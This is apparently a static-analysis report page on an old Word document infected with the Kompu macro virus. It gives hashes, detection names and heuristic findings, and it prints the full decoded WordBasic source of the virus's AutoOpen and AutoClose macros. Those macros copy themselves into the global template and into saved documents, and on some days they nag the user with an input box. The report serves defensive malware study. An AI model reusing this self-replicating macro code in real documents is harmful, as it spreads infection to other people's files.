Kompu — Office (OLE) malware analysis

Static analysis result for SHA-256 38687035ce8eccad…

MALICIOUS

Office (OLE)

32.0 KB Created: 1997-04-15 14:48:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c24d83918bc7cfb8028ddc954821ca5a SHA-1: dab653d38d5a58cf64d7dc4b311adce2facc89c7 SHA-256: 38687035ce8eccad2c8285c0e1883209ae797946effa3e668971685328d7b5df
240 Risk Score

Malware Insights

Kompu · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic macros, specifically AutoOpen and AutoClose, which are designed to copy themselves to the global scope and save the document. The presence of 'Makroviirus Kompu' comments and ClamAV detections (Doc.Trojan.Kompu-3, Doc.Trojan.Kompu-4) strongly indicate the Kompu family. The macros' primary function appears to be self-propagation and persistence within the document.

Heuristics 5

  • ClamAV: Doc.Trojan.Kompu-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Kompu-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1241 bytes
SHA-256: 84b27736e6d72b5951e6300b6751f990263a8e752400fe6fc704902f2c787b5a
Detection
ClamAV: Doc.Trojan.Kompu-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Dim fileenimi$
'AutoClose
'Makroviirus Kompu
On Error Resume Next
fileenimi$ = WordBasic.[FileName$]()
WordBasic.MacroCopy "Global:AutoOpen", fileenimi$ + ":AutoOpen"
WordBasic.MacroCopy "Global:AutoClose", fileenimi$ + ":AutoClose"
WordBasic.FileSaveAs Name:=fileenimi$, Format:=1
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim kuupaev
Dim Kompu$
'AutoOpen
'Makroviirus Kompu
On Error Resume Next
WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoOpen") + ":AutoOpen", "Global:AutoOpen"
WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoClose") + ":AutoClose", "Global:AutoClose"
WordBasic.FileSaveAll 1
kuupaev = WordBasic.Day(WordBasic.Now())
If kuupaev = 6 Or kuupaev = 8 Then
While Kompu$ <> "komm"
Kompu$ = WordBasic.[InputBox$]("Tahan kommi!", "Mul on paha tuju!")
Wend
WordBasic.PrintStatusBar "Nämm-Nämm-Nämm-Nämm-Amps-Amps-Klõmps-Kröök!"
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.